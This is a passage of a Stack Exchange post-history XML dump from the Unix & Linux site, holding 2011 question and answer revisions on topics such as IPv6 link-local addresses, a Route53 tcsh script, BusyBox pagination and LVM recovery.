interfaces/VLAN-s.&#xD;&#xA;&#xD;&#xA;I guess I can block all incoming packets with iptables, but avoiding any IPv6-address altogether seems like a cleaner solution.&#xD;&#xA;&#xD;&#xA;Is there anyway to take an interface up on the link-layer but not on the IP-layer?&#xD;&#xA;" />
  <row Id="17241" PostHistoryTypeId="1" PostId="7410" RevisionGUID="9cdf52bc-2eec-4acf-bb5b-6833de9c8505" CreationDate="2011-02-14T21:10:23.447" UserId="4769" Text="avoid IPv6 link local address on interface" />
  <row Id="17242" PostHistoryTypeId="3" PostId="7410" RevisionGUID="9cdf52bc-2eec-4acf-bb5b-6833de9c8505" CreationDate="2011-02-14T21:10:23.447" UserId="4769" Text="énetworkingàéipà" />
  <row Id="17243" PostHistoryTypeId="2" PostId="7411" RevisionGUID="f6a8ad1b-6d1e-4897-aebd-2ad5cb62f907" CreationDate="2011-02-14T21:11:07.447" UserId="885" Text="If your window title reflects the application currently running in the window, it's because your shell is doing that. If it's doing that, it's because your distribution, your system administrator or you configured it to.&#xD;&#xA;&#xD;&#xA;If the command appears as the window title while the command is running, this is done by the `preexec` function (in zsh), or an [emulation thereof under bash](http://superuser.com/questions/175799/does-bash-have-a-hook-that-is-run-before-executing-a-command).&#xD;&#xA;&#xD;&#xA;If the title changes when each command completes, this is done by the `precmd` function in zsh, the `PROMPT_COMMAND` parameter in bash, or as part of the prompt (`PS1` parameter) in any shell.&#xD;&#xA;&#xD;&#xA;Look for an escape sequence like `\e]0;new title\a`, `\e]2;new title\a` or `\eknew title\e\\` in your shell initialization file (`~/.bashrc`, `~/.zshrc`, …). If there's nothing relevant, the setting may be in a system file (e.g. `/etc/bash.bashrc`, `/etc/zsh/zshrc`); then overwrite that parameter or function in your own initialization file.&#xD;&#xA;" />
  <row Id="17244" PostHistoryTypeId="6" PostId="7410" RevisionGUID="fb2dbb43-bfe4-4141-8dfe-1a8348617215" CreationDate="2011-02-14T21:12:45.947" UserId="885" Comment="edited tags" Text="énetworkingàéipàéxenàéipv6à" />
  <row Id="17245" PostHistoryTypeId="6" PostId="7373" RevisionGUID="3f3d0f85-a87c-4f4a-8b23-e878e708c255" CreationDate="2011-02-14T21:13:08.020" UserId="885" Comment="edited tags" Text="élinuxàéchromeàécacheàéyoutubeà" />
  <row Id="17246" PostHistoryTypeId="6" PostId="7374" RevisionGUID="1c086d37-01dd-4750-8104-9034ddaf5cbc" CreationDate="2011-02-14T21:16:43.523" UserId="885" Comment="edited tags" Text="élinuxàékernelàésystemöcallsàémmapàéframebufferà" />
  <row Id="17247" PostHistoryTypeId="5" PostId="7366" RevisionGUID="81cca578-eb51-4fdf-b385-4d873fed4673" CreationDate="2011-02-14T21:18:57.723" UserId="3270" Comment="added 58 characters in body" Text="With difficulty.&#xD;&#xA;&#xD;&#xA;There is no centralized system for keeping track of these things. &#xD;&#xA;&#xD;&#xA;* On Debian-derived Linuxes you might try the `alternatives` system.&#xD;&#xA;* You could query the package manager, and if you find only one Foo installed, you can be pretty sure which Foo is in use.&#xD;&#xA;* You could try parsing the output of `ps`. Or equivalently of reading `/proc` on systems that have it.&#xD;&#xA;&#xD;&#xA;Possibly the most reliable thing is to *ask* the user." />
  <row Id="17248" PostHistoryTypeId="2" PostId="7412" RevisionGUID="f3234013-c7a7-4d3c-b7b0-95d020bd9dde" CreationDate="2011-02-14T21:36:10.627" UserId="885" Text="It is possible for a USB storage device to become logically disconnected: the device is still plugged in, but is invisible from the operating system (e.g. it's not listed under `/proc/bus/usb`). Maybe this can happen to other kinds of USB or other removable devices as well. This can happen for example:&#xD;&#xA;&#xD;&#xA;* [after Nautilus has unmounted a USB storage device](http://unix.stackexchange.com/questions/7051/how-to-re-mount-a-usb-stick-after-unmounting-from-nautilus-without-disconnecting);&#xD;&#xA;* after VirtualBox has claimed a USB storage device (the device disappears from the Linux host when it is attached in the guest, and does not automatically reappear if it is detached from the host).&#xD;&#xA;&#xD;&#xA;What is going on in the driver or in the hardware, and most importantly, (how) can the device be logically reconnected (without physically plugging it out and back in)?&#xD;&#xA;" />
  <row Id="17249" PostHistoryTypeId="1" PostId="7412" RevisionGUID="f3234013-c7a7-4d3c-b7b0-95d020bd9dde" CreationDate="2011-02-14T21:36:10.627" UserId="885" Text="How to reconnect a logically disconnected USB device?" />
  <row Id="17250" PostHistoryTypeId="3" PostId="7412" RevisionGUID="f3234013-c7a7-4d3c-b7b0-95d020bd9dde" CreationDate="2011-02-14T21:36:10.627" UserId="885" Text="élinuxàéusbàéusbödriveà" />
  <row Id="17251" PostHistoryTypeId="5" PostId="7393" RevisionGUID="7fed2145-935b-432f-9c7b-f4e7861c0005" CreationDate="2011-02-14T21:37:15.213" UserId="4080" Comment="added 419 characters in body; added 96 characters in body" Text="I have several Amazon EC2 instances, running Ubuntu 10.04, with which I'd like to use Amazon's Route53.  I setup a script as described in Shlomo Swidler's [article][1], but I'm still missing something.&#xD;&#xA;&#xD;&#xA;When the script runs, it doesn't return any output, which I initially assumed meant it ran correctly.  However, when I check the DNS records using [MyR53DNS][2], there are no entries for my instances.  Here's my script:&#xD;&#xA;&#xD;&#xA;    #!/bin/tcsh -f&#xD;&#xA;    &#xD;&#xA;    set root=`dirname $0`&#xD;&#xA;    setenv EC2_HOME /usr/lib/ec2-api-tools&#xD;&#xA;    setenv EC2_CERT /etc/cron.route53/ec2_x509_cert.pem&#xD;&#xA;    setenv EC2_PRIVATE_KEY /etc/cron.route53/ec2_x509_private.pem&#xD;&#xA;    setenv AWS_ACCESS_KEY_ID myaccesskeyid&#xD;&#xA;    setenv AWS_SECRET_ACCESS_KEY myaccesskey&#xD;&#xA;    &#xD;&#xA;    /usr/bin/ec2-describe-instances | \&#xD;&#xA;    perl -ne '/^INSTANCE\s+(i-\S+).*?(\S+\.amazonaws\.com)/ \&#xD;&#xA;    and do { $dns = $2; print &quot;$1 $dns\n&quot; }; /^TAG.+\sShortName\s+(\S+)/ \&#xD;&#xA;    and print &quot;$1 $dns\n&quot;' | \&#xD;&#xA;    perl -ane 'print &quot;$F[0] CNAME $F[1] --replace\n&quot;' | \&#xD;&#xA;    xargs -n 4 /etc/cron.route53/cli53/cli53.py \&#xD;&#xA;    rrcreate -x 60 mydomain.com&#xD;&#xA;&#xD;&#xA;Does anyone see a problem with this script?  If its not the script, what else could be preventing my Route53 domain from being updated?&#xD;&#xA;&#xD;&#xA;I am using the Security Groups to IP-restrict the instances.  I've tried opening port 53, but that didn't seem to have an effect.  Is there another port that Route53 uses?&#xD;&#xA;&#xD;&#xA;I'd appreciate any help or guidance the Unix &amp; Linux community can offer.  Let me know if you need any further info.&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;Here is the results of running:  **tcsh -f -x /etc/cron.route53/aws-route53.sh**&#xD;&#xA;&#xD;&#xA;    set root=`dirname $0`&#xD;&#xA;    dirname /etc/cron.route53/aws-route53.sh&#xD;&#xA;    setenv EC2_HOME /usr/lib/ec2-api-tools&#xD;&#xA;    setenv EC2_CERT /etc/cron.route53/ec2_x509_cert.pem&#xD;&#xA;    setenv EC2_PRIVATE_KEY /etc/cron.route53/ec2_x509_private.pem&#xD;&#xA;    setenv AWS_ACCESS_KEY_ID myaccesskeyid&#xD;&#xA;    setenv AWS_SECRET_ACCESS_KEY myaccesskey&#xD;&#xA;&#xD;&#xA;I receive the same output whether the last 7 lines are commented or uncommented.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://shlomoswidler.com/2010/12/using-aws-route-53-to-keep-track-of-ec2-instances.html?utm_source=feedburner&amp;utm_medium=feed&amp;utm_campaign=Feed:%20CloudDeveloperTips%20(Cloud%20Developer%20Tips%20by%20Shlomo%20Swidler)&amp;utm_content=Twitter&#xD;&#xA;  [2]: https://myr53dns.com" />
  <row Id="17252" PostHistoryTypeId="6" PostId="7393" RevisionGUID="6bf5ed38-98a3-42e8-9e84-8c6157c12a4f" CreationDate="2011-02-14T21:50:22.357" UserId="4080" Comment="edited tags" Text="élinuxàéshellöscriptàédnsàétcshàéamazonöec2à" />
  <row Id="17253" PostHistoryTypeId="2" PostId="7413" RevisionGUID="57e63122-9a96-4c32-88ba-4c682c5374f2" CreationDate="2011-02-14T21:58:45.513" UserId="885" Text="The obvious way to keep a bunch of files in the cache is to access them often. Linux is pretty good at arbitrating between swapping and caching, so I suspect that the speed difference you observe is actually not due to the OS not keeping things in the cache, but to some other difference between your usage of tmpfs and your other attempts.&#xD;&#xA;&#xD;&#xA;Try observing what is doing IO in each case. The basic tool for that is `iotop`. Other tools may be useful; see [Linux disk IO load breakdown, by filesystem path and/or process?](http://serverfault.com/questions/25032/linux-disk-io-load-breakdown-by-filesystem-path-and-or-process), [What program in Linux can measure I/O over time?](http://serverfault.com/questions/72249/what-program-in-linux-can-measure-i-o-over-time), and other threads at Server Fault.&#xD;&#xA;&#xD;&#xA;Here are a few hypotheses as to what could be happening. If you take measurements, please show them so that we can confirm or disprove these hypotheses.&#xD;&#xA;&#xD;&#xA;* If you have file [access times](http://en.wikipedia.org/wiki/Stat_%28Unix%29#Criticism_of_atime) turned on, the OS may waste quite a bit of time writing these access times. Access times are useless for a compilation tree, so make sure they're turned off with the `noatime` mount option. Your tmpfs+rsync solution never *reads* from the hard disk, so it never has to spend extra time writing atimes.&#xD;&#xA;* If the writes are [synching](http://en.wikipedia.org/wiki/Sync_%28Unix%29), either because the compiler calls `sync()` or because the kernel frequently flushes its output buffers, the writes will take longer to a hard disk than to tmpfs.&#xD;&#xA;" />
  <row Id="17254" PostHistoryTypeId="5" PostId="7393" RevisionGUID="59a97ae3-60a2-43f1-b125-902784e322cd" CreationDate="2011-02-14T22:16:39.813" UserId="4080" Comment="added 1461 characters in body; added 8 characters in body" Text="I have several Amazon EC2 instances, running Ubuntu 10.04, with which I'd like to use Amazon's Route53.  I setup a script as described in Shlomo Swidler's [article][1], but I'm still missing something.&#xD;&#xA;&#xD;&#xA;When the script runs, it doesn't return any output, which I initially assumed meant it ran correctly.  However, when I check the DNS records using [MyR53DNS][2], there are no entries for my instances.  Here's my script:&#xD;&#xA;&#xD;&#xA;    #!/bin/tcsh -f&#xD;&#xA;    &#xD;&#xA;    set root=`dirname $0`&#xD;&#xA;    setenv EC2_HOME /usr/lib/ec2-api-tools&#xD;&#xA;    setenv EC2_CERT /etc/cron.route53/ec2_x509_cert.pem&#xD;&#xA;    setenv EC2_PRIVATE_KEY /etc/cron.route53/ec2_x509_private.pem&#xD;&#xA;    setenv AWS_ACCESS_KEY_ID myaccesskeyid&#xD;&#xA;    setenv AWS_SECRET_ACCESS_KEY myaccesskey&#xD;&#xA;    &#xD;&#xA;    /usr/bin/ec2-describe-instances | \&#xD;&#xA;    perl -ne '/^INSTANCE\s+(i-\S+).*?(\S+\.amazonaws\.com)/ \&#xD;&#xA;    and do { $dns = $2; print &quot;$1 $dns\n&quot; }; /^TAG.+\sShortName\s+(\S+)/ \&#xD;&#xA;    and print &quot;$1 $dns\n&quot;' | \&#xD;&#xA;    perl -ane 'print &quot;$F[0] CNAME $F[1] --replace\n&quot;' | \&#xD;&#xA;    xargs -n 4 /etc/cron.route53/cli53/cli53.py \&#xD;&#xA;    rrcreate -x 60 mydomain.com&#xD;&#xA;&#xD;&#xA;Does anyone see a problem with this script?  If its not the script, what else could be preventing my Route53 domain from being updated?&#xD;&#xA;&#xD;&#xA;I am using the Security Groups to IP-restrict the instances.  I've tried opening port 53, but that didn't seem to have an effect.  Is there another port that Route53 uses?&#xD;&#xA;&#xD;&#xA;I'd appreciate any help or guidance the Unix &amp; Linux community can offer.  Let me know if you need any further info.&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;Here is the results of running:  **tcsh -f -x /etc/cron.route53/aws-route53.sh**&#xD;&#xA;&#xD;&#xA;    set root=`dirname $0`&#xD;&#xA;    dirname /etc/cron.route53/aws-route53.sh&#xD;&#xA;    setenv EC2_HOME /usr/lib/ec2-api-tools&#xD;&#xA;    setenv EC2_CERT /etc/cron.route53/ec2_x509_cert.pem&#xD;&#xA;    setenv EC2_PRIVATE_KEY /etc/cron.route53/ec2_x509_private.pem&#xD;&#xA;    setenv AWS_ACCESS_KEY_ID myaccesskeyid&#xD;&#xA;    setenv AWS_SECRET_ACCESS_KEY myaccesskey&#xD;&#xA;&#xD;&#xA;I receive the same output whether the last 7 lines are commented or uncommented.&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;    &gt; cat -A  /etc/cron.route53/aws-route53.sh&#xD;&#xA;    #!/bin/tcsh -f$&#xD;&#xA;    $&#xD;&#xA;    set root=`dirname $0`$&#xD;&#xA;    setenv EC2_HOME /usr/lib/ec2-api-tools$&#xD;&#xA;    setenv EC2_CERT /etc/cron.route53/ec2_x509_cert.pem$&#xD;&#xA;    setenv EC2_PRIVATE_KEY /etc/cron.route53/ec2_x509_private.pem$&#xD;&#xA;    setenv AWS_ACCESS_KEY_ID myaccesskeyid$&#xD;&#xA;    setenv AWS_SECRET_ACCESS_KEY myaccesskey$&#xD;&#xA;    $&#xD;&#xA;    /usr/bin/ec2-describe-instances | \$&#xD;&#xA;    perl -ne '/^INSTANCE\s+(i-\S+).*?(\S+\.amazonaws\.com)/ \$&#xD;&#xA;    and do { $dns = $2; print &quot;$1 $dns\n&quot; }; /^TAG.+\sShortName\s+(\S+)/ \$&#xD;&#xA;    and print &quot;$1 $dns\n&quot;' | \$&#xD;&#xA;    perl -ane 'print &quot;$F[0] CNAME $F[1] --replace\n&quot;' | \$&#xD;&#xA;    xargs -n 4 /etc/cron.route53/cli53/cli53.py \$&#xD;&#xA;    rrcreate -x 60 mydomain.com&#xD;&#xA;&#xD;&#xA;    &gt; cat /etc/cron.route53/aws-route53.sh&#xD;&#xA;    #!/bin/tcsh -f&#xD;&#xA;    &#xD;&#xA;    set root=`dirname $0`&#xD;&#xA;    setenv EC2_HOME /usr/lib/ec2-api-tools&#xD;&#xA;    setenv EC2_CERT /etc/cron.route53/ec2_x509_cert.pem&#xD;&#xA;    setenv EC2_PRIVATE_KEY /etc/cron.route53/ec2_x509_private.pem&#xD;&#xA;    setenv AWS_ACCESS_KEY_ID myaccesskeyid&#xD;&#xA;    setenv AWS_SECRET_ACCESS_KEY myaccesskey&#xD;&#xA;    &#xD;&#xA;    /usr/bin/ec2-describe-instances | \&#xD;&#xA;    perl -ne '/^INSTANCE\s+(i-\S+).*?(\S+\.amazonaws\.com)/ \&#xD;&#xA;    and do { $dns = $2; print &quot;$1 $dns\n&quot; }; /^TAG.+\sShortName\s+(\S+)/ \&#xD;&#xA;    and print &quot;$1 $dns\n&quot;' | \&#xD;&#xA;    perl -ane 'print &quot;$F[0] CNAME $F[1] --replace\n&quot;' | \&#xD;&#xA;    xargs -n 4 /etc/cron.route53/cli53/cli53.py \&#xD;&#xA;    rrcreate -x 60 mydomain.com&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://shlomoswidler.com/2010/12/using-aws-route-53-to-keep-track-of-ec2-instances.html?utm_source=feedburner&amp;utm_medium=feed&amp;utm_campaign=Feed:%20CloudDeveloperTips%20(Cloud%20Developer%20Tips%20by%20Shlomo%20Swidler)&amp;utm_content=Twitter&#xD;&#xA;  [2]: https://myr53dns.com" />
  <row Id="17255" PostHistoryTypeId="2" PostId="7414" RevisionGUID="dd1e25fe-9b71-4a66-aea9-002d35aacbff" CreationDate="2011-02-14T22:28:11.280" UserId="885" Text="Aha! Your script is missing a newline at the end. Unix text files (such as scripts) are sequences of line, and each line (even the last) must be terminated by a newline.&#xD;&#xA;&#xD;&#xA;Most modern unix tools can cope with malformed text files, but tcsh doesn't count as modern: it looks like it ignores the last, unterminated, logical line (everything after the last newline that's not preceded by a backslash).&#xD;&#xA;&#xD;&#xA;A good editor (such as Emacs or Vi(m)) automatically makes sure that csh scripts are terminated by a newline.¹ It looks like your editor is not doing the right thing, so make sure your scripts do end with a newline (`cat /path/to/script` must show the last script line above the next prompt, not next to it).&#xD;&#xA;&#xD;&#xA;¹ &lt;sub&gt;&#xD;&#xA;In a really good editor, such as Emacs, this doesn't apply to other kinds of files that may legitimately be not newline-terminated.&#xD;&#xA;&lt;/sub&gt;&#xD;&#xA;" />
  <row Id="17256" PostHistoryTypeId="5" PostId="7396" RevisionGUID="1370442b-4547-47c9-979c-1ad5155bce1d" CreationDate="2011-02-14T22:42:50.637" UserId="1375" Comment="added 28 characters in body" Text="I am trying out tiling window managers like scrotWM, and have noticed that GUI programs start with a &quot;theme&quot; (or lack, thereof) that looks like the bland Redmond theme. Is there a way to specify the appearance/themes of windows in a tiling window manager? Or is it window manager OR GUI toolkit specific? Is there anything I can do? Thanks." />
  <row Id="17257" PostHistoryTypeId="5" PostId="7401" RevisionGUID="b8fba109-9d7f-4509-8e35-6d0bbd4fc932" CreationDate="2011-02-14T23:12:22.673" UserId="885" Comment="clarify that the architecture change is about the OS, not about the processor hardware" Text="First, if you're going to keep running 32-bit binaries, you're not actually changing the processor architecture: you'll still be running an x86 processor, even if it's also capable of doing other things. In that case, I recommend cloning your installation or simply moving the hard disk, as described in [Moving linux install to a new computer](http://unix.stackexchange.com/questions/2865/moving-linux-install-to-a-new-computer).&#xD;&#xA;&#xD;&#xA;On the other hand, if you want to have a 64-bit system (in Ubuntu terms: an `amd64` architecture), you need to reinstall, because you can't install `amd64` packages on an `i386` system or vice versa. (This will change when [Multiarch](https://wiki.ubuntu.com/MultiarchSpec) comes along).&#xD;&#xA;&#xD;&#xA;Many customizations live in your home directory, and you can copy that to the new machine. The system settings can't be copied so easily because of the change in processor architecture.&#xD;&#xA;&#xD;&#xA;On Ubuntu 10.10 and up, try [OneConf](https://wiki.ubuntu.com/OneConf).&#xD;&#xA;&#xD;&#xA;&gt; OneConf is a mechanism for recording software information in Ubuntu One, and synchronizing with other computers as needed. In Maverick, the list of installed software is stored. This may eventually expand to include some application settings and application state. Other tools like [Stipple](https://launchpad.net/stipple) can provide more advanced settings/control. &#xD;&#xA;&#xD;&#xA;If you do things manually, the main thing you'll want to reproduce is the set of installed packages. See [Ubuntu list explicitly installed packages](http://unix.stackexchange.com/questions/3595/ubuntu-list-explicitly-installed-packages) and the Super User and Ask Ubuntu questions cited there, especially [Telemachus's answer](http://superuser.com/questions/6338/how-do-you-track-which-packages-were-installed-on-ubuntu-linux/6932#6932). In a nutshell:&#xD;&#xA;&#xD;&#xA;    # On the original installation:&#xD;&#xA;    aptitude search '~i !~M' -F &quot;%p install&quot; &gt;manual-selections.txt&#xD;&#xA;    # On the new installation:&#xD;&#xA;    dpkg --get-selections &lt;manual-selections.txt&#xD;&#xA;    aptitude   # review and start the installation&#xD;&#xA;&#xD;&#xA;For things you've changed in `/etc`, you'll need to review them. Many have to do with the specific hardware or network settings and should not be copied. Others have to do with personal preferences — but you should set personal preferences on a per-user basis whenever possible, so that the settings are saved in your home directory.&#xD;&#xA;&#xD;&#xA;If you plan in advance, you can use [etckeeper](http://packages.ubuntu.com/etckeeper) [![Install etckeeper](http://bit.ly/software-small)](http://apt.ubuntu.com/p/etckeeper) to put `/etc` under version control ([etckeeper quickstart](http://askubuntu.com/questions/8329/is-there-a-system-journal-that-i-can-install/8343#8343)). You don't need to know anything about version control to use etckeeper, you only need to start learning if you want to take advantage of it to do fancy things. &#xD;&#xA;&#xD;&#xA;" />
  <row Id="17258" PostHistoryTypeId="2" PostId="7415" RevisionGUID="fa5314b6-f76e-4212-abe9-d3a6bc488919" CreationDate="2011-02-14T23:20:41.803" UserId="4142" Text="This is the command line you want:&#xD;&#xA;&#xD;&#xA;    ffmpeg -i ~/test.flv -acodec libmp3lame -qscale 8 test.avi&#xD;&#xA;&#xD;&#xA;Using the video you suggested as example i have almost the same quality in vlc as original (original has aac encoding). &#xD;&#xA;&#xD;&#xA;You were specifying a way too high bitrate (2Mb/sec, 192kb/sec is far enough), i don't think it had any collateral effect on your command line though.&#xD;&#xA;&#xD;&#xA;The difference is made by -qscale 8 which let ffmpeg output a VBR mp3 instead of a CBR stream. " />
  <row Id="17259" PostHistoryTypeId="25" PostId="7412" RevisionGUID="ac8418cf-f6e7-4937-98aa-182f99a39101" CreationDate="2011-02-14T23:22:47.233" Comment="http://twitter.com/#!/StackUnix/status/37290684486651904" />
  <row Id="17260" PostHistoryTypeId="2" PostId="7416" RevisionGUID="7c9b059e-d182-4304-a206-27c8b762e8b4" CreationDate="2011-02-15T01:43:27.727" UserId="3629" Text="The `inosync` daemon sounds like it does exactly what you want if you're going to rsync to a ramdisk.  Instead of rsyncing every 10 seconds or so, it uses Linux's inotify facility to rsync when a file changes.  I found it in the Debian repository as the `inosync` package, or its source is available at http://bb.xnull.de/projects/inosync/." />
  <row Id="17261" PostHistoryTypeId="2" PostId="7417" RevisionGUID="ad6460f3-07f1-4770-955b-ea1c4cc693ad" CreationDate="2011-02-15T01:44:32.597" UserId="4772" Text="I'm logged into an IP Phone running MontaVista with a very stripped down BusyBox binary (by stripped down, I mean the OEM has removed almost all of its functionality, except the basics like `cat`, `ls` etc).&#xD;&#xA;&#xD;&#xA;I'm doing an `ls -l` on a directory and there are thousands of files. I need to be able to pause the file list on the end of each page of results.&#xD;&#xA;&#xD;&#xA;Normally I would do this with `ls -l|more` or even `ls -l|less` but of course, `more` and `less` are not present on this phone.&#xD;&#xA;&#xD;&#xA;Are there any other low-level ways of making `ls` paginate? My only other option is to write the output to a file and then `tftp` it off the server and open it on a proper computer, but this is a very roundabout (and slow) method of doing it." />
  <row Id="17262" PostHistoryTypeId="1" PostId="7417" RevisionGUID="ad6460f3-07f1-4770-955b-ea1c4cc693ad" CreationDate="2011-02-15T01:44:32.597" UserId="4772" Text="ls pagination on MontaVista with BusyBox" />
  <row Id="17263" PostHistoryTypeId="3" PostId="7417" RevisionGUID="ad6460f3-07f1-4770-955b-ea1c4cc693ad" CreationDate="2011-02-15T01:44:32.597" UserId="4772" Text="élsàébusyboxà" />
  <row Id="17264" PostHistoryTypeId="5" PostId="7386" RevisionGUID="e24436e6-52bc-466d-a631-33811ad917c7" CreationDate="2011-02-15T01:57:28.053" UserId="3466" Comment="added 320 characters in body" Text="I had a CentOS 5.5 server with two drives in it (sda, sdb) using LVM. sda had a combination of physical partitions and LVs. sdb had one volume group named **data** with multiple logical volumes. There were no logical volumes or volume groups that spanned the two disks.&#xD;&#xA;&#xD;&#xA;Last week I decided to reinstall the OS including formatting /, /root, /boot and rebuilding the LVs on sda. sdb was not touched during the reinstallation as it contains all of the data I want to keep. &#xD;&#xA;&#xD;&#xA;After the installation the physical volume on sdb was not listed as active by LVM.  Running (as best I can tell from looking at my history) `pvscan` activated the physical volume. Unfortunately, none of the existing volume groups on sdb were being listed.&#xD;&#xA;&#xD;&#xA;I then ran `vgcreate data /dev/sdb` which I thought would either give errors reporting an existing volume group existed with this name or would somehow activate the data volume group. Unfortunately for me, neither of these things happened.&#xD;&#xA;&#xD;&#xA;At this point I haven't touched anything on /dev/sdb since I would like to recover the existing logical volumes that are defined on that drive. Is there anyway to reactivate those volumes?" />
  <row Id="17265" PostHistoryTypeId="25" PostId="7400" RevisionGUID="0e8f5386-af1a-41b8-85f4-b190f9754630" CreationDate="2011-02-15T02:22:47.600" Comment="http://twitter.com/#!/StackUnix/status/37335986811703296" />
  <row Id="17266" PostHistoryTypeId="2" PostId="7418" RevisionGUID="4df5be7e-b506-454a-bf08-5a9e679ff1fe" CreationDate="2011-02-15T02:30:21.077" UserId="2180" Text="If you are accessing the device through a terminal, you can use GNU Screen to connect; you can then use Screen's scrolling to see the output.&#xD;&#xA;&#xD;&#xA;If the system has vi installed, you can try outputting the command to a file and reading it with vi.&#xD;&#xA;&#xD;&#xA;If those don't suffice, you can make a bash script to output a screen's worth then pause.&#xD;&#xA;&#xD;&#xA;    ls | while read line; do&#xD;&#xA;      echo &quot;$line&quot;&#xD;&#xA;      i=$((i+1))&#xD;&#xA;      echo &quot;$i&quot;&#xD;&#xA;      [ &quot;$i&quot; = 50 ] &amp;&amp; sleep 4 &amp;&amp; i=0&#xD;&#xA;    done" />
  <row Id="17267" PostHistoryTypeId="5" PostId="7418" RevisionGUID="f6253688-2296-488e-a1bc-373be7cafa67" CreationDate="2011-02-15T02:40:32.673" UserId="2180" Comment="added 78 characters in body" Text="If you are accessing the device through a terminal, you can use GNU Screen to connect; you can then use Screen's scrolling to see the output.&#xD;&#xA;&#xD;&#xA;If the system has vi installed, you can try outputting the command to a file and reading it with vi.&#xD;&#xA;&#xD;&#xA;If those don't suffice, you can make a bash script to output a screen's worth then pause. The following illustrates the idea, but you can probably make it work better.&#xD;&#xA;&#xD;&#xA;    ls | while read line; do&#xD;&#xA;      echo &quot;$line&quot;&#xD;&#xA;      i=$((i+1))&#xD;&#xA;      echo &quot;$i&quot;&#xD;&#xA;      [ &quot;$i&quot; = 50 ] &amp;&amp; sleep 4 &amp;&amp; i=0&#xD;&#xA;    done" />
  <row Id="17268" PostHistoryTypeId="2" PostId="7419" RevisionGUID="ee798790-5866-48af-9e67-6dc5d5160a04" CreationDate="2011-02-15T02:47:33.447" UserId="4520" Text="It looks like you are running a Debian variant, and at least Linux.  You could drop a file in `/etc/sysctl.d` to disable IPv6 on the interface or all interfaces.  I have enabled IPv6, but this is the file I used to disable IPv6.  Initially, I disabled everything, then I disabled individual interfaces while I brought up IPv6.  You should be able to just disable your bridge.&#xD;&#xA;&#xD;&#xA;&lt;pre&gt;# 80-disable-ipv6.conf&#xD;&#xA;&#xD;&#xA;#net.ipv6.conf.default.disable_ipv6 = 0&#xD;&#xA;#net.ipv6.conf.all.disable_ipv6 = 0&#xD;&#xA;#net.ipv6.conf.lo.disable_ipv6 = 0&#xD;&#xA;#net.ipv6.conf.eth0.disable_ipv6 = 0&#xD;&#xA;#net.ipv6.conf.virbr0.disable_ipv6 = 0&#xD;&#xA;#net.ipv6.conf.virbr1.disable_ipv6 = 0&lt;/pre&gt;&#xD;&#xA; " />
  <row Id="17269" PostHistoryTypeId="2" PostId="7420" RevisionGUID="e933b5d9-3f6d-4e04-a6b2-e8bac2390d8f" CreationDate="2011-02-15T03:34:49.290" UserId="250" Text="For GTK applications themes can be set in the file `~/.gtkrc-2.0`. Mine is&#xD;&#xA;&#xD;&#xA;    gtk-icon-theme-name=&quot;gnome&quot;&#xD;&#xA;&#xD;&#xA;and that makes various applications use the gnome icons. You can see a list of available icon themes in `/usr/share/icons/`." />
  <row Id="17270" PostHistoryTypeId="5" PostId="7418" RevisionGUID="608b86a3-ffe5-467c-b3b0-358c152d5873" CreationDate="2011-02-15T03:46:27.500" UserId="2180" Comment="better solution" Text="If you are accessing the device through a terminal, you can use GNU Screen to connect; you can then use Screen's scrolling to see the output.&#xD;&#xA;&#xD;&#xA;If the system has vi installed, you can try outputting the command to a file and reading it with vi.&#xD;&#xA;&#xD;&#xA;If those don't suffice, you can make a bash script to output a screen's worth then pause. The following illustrates the idea, but you can probably make it work better.&#xD;&#xA;&#xD;&#xA;    for line in $(ls -l); do&#xD;&#xA;      echo &quot;$line&quot;&#xD;&#xA;      i=$((i+1))&#xD;&#xA;      [ &quot;$i&quot; = 50 ] &amp;&amp; read &amp;&amp; i=0&#xD;&#xA;    done" />
  <row Id="17271" PostHistoryTypeId="2" PostId="7421" RevisionGUID="4167d94b-eeaf-4502-b94e-0b3ec0e157b4" CreationDate="2011-02-15T04:54:50.140" UserId="4457" Text="Hi all,&#xD;&#xA;&#xD;&#xA;I want to change the icon image of the executable files **from command line**.&#xD;&#xA;Can any one help me in this regard.&#xD;&#xA;&#xD;&#xA;Thanks in advance.&#xD;&#xA;&#xD;&#xA;Uday." />
  <row Id="17272" PostHistoryTypeId="1" PostId="7421" RevisionGUID="4167d94b-eeaf-4502-b94e-0b3ec0e157b4" CreationDate="2011-02-15T04:54:50.140" UserId="4457" Text="Change the image of an executable file from commandline." />
  <row Id="17273" PostHistoryTypeId="3" PostId="7421" RevisionGUID="4167d94b-eeaf-4502-b94e-0b3ec0e157b4" CreationDate="2011-02-15T04:54:50.140" UserId="4457" Text="élinuxàéunixàéredhatà" />
  <row Id="17274" PostHistoryTypeId="25" PostId="7417" RevisionGUID="753725f3-3ac8-4997-b3c7-795150017847" CreationDate="2011-02-15T05:22:47.517" Comment="http://twitter.com/#!/StackUnix/status/37381285584314369" />
  <row Id="17275" PostHistoryTypeId="2" PostId="7422" RevisionGUID="74a64454-35b3-4e54-9df1-06f48fafcade" CreationDate="2011-02-15T06:34:08.957" UserId="4479" Text="I run XMonad window manager and use .XSession to startup things like Dropbox and launch other apps I need, at login manager i select User Defined Session. I like to know is there a login manager where I can have .XSession1, .XSession2 and .XSession3 where I have different profiles. So 1st one 'daily dev', 'just browsing' and thirdly 'offline' ?" />
  <row Id="17276" PostHistoryTypeId="1" PostId="7422" RevisionGUID="74a64454-35b3-4e54-9df1-06f48fafcade" CreationDate="2011-02-15T06:34:08.957" UserId="4479" Text="Multiple X startup profiles" />
  <row Id="17277" PostHistoryTypeId="3" PostId="7422" RevisionGUID="74a64454-35b3-4e54-9df1-06f48fafcade" CreationDate="2011-02-15T06:34:08.957" UserId="4479" Text="élinuxà" />
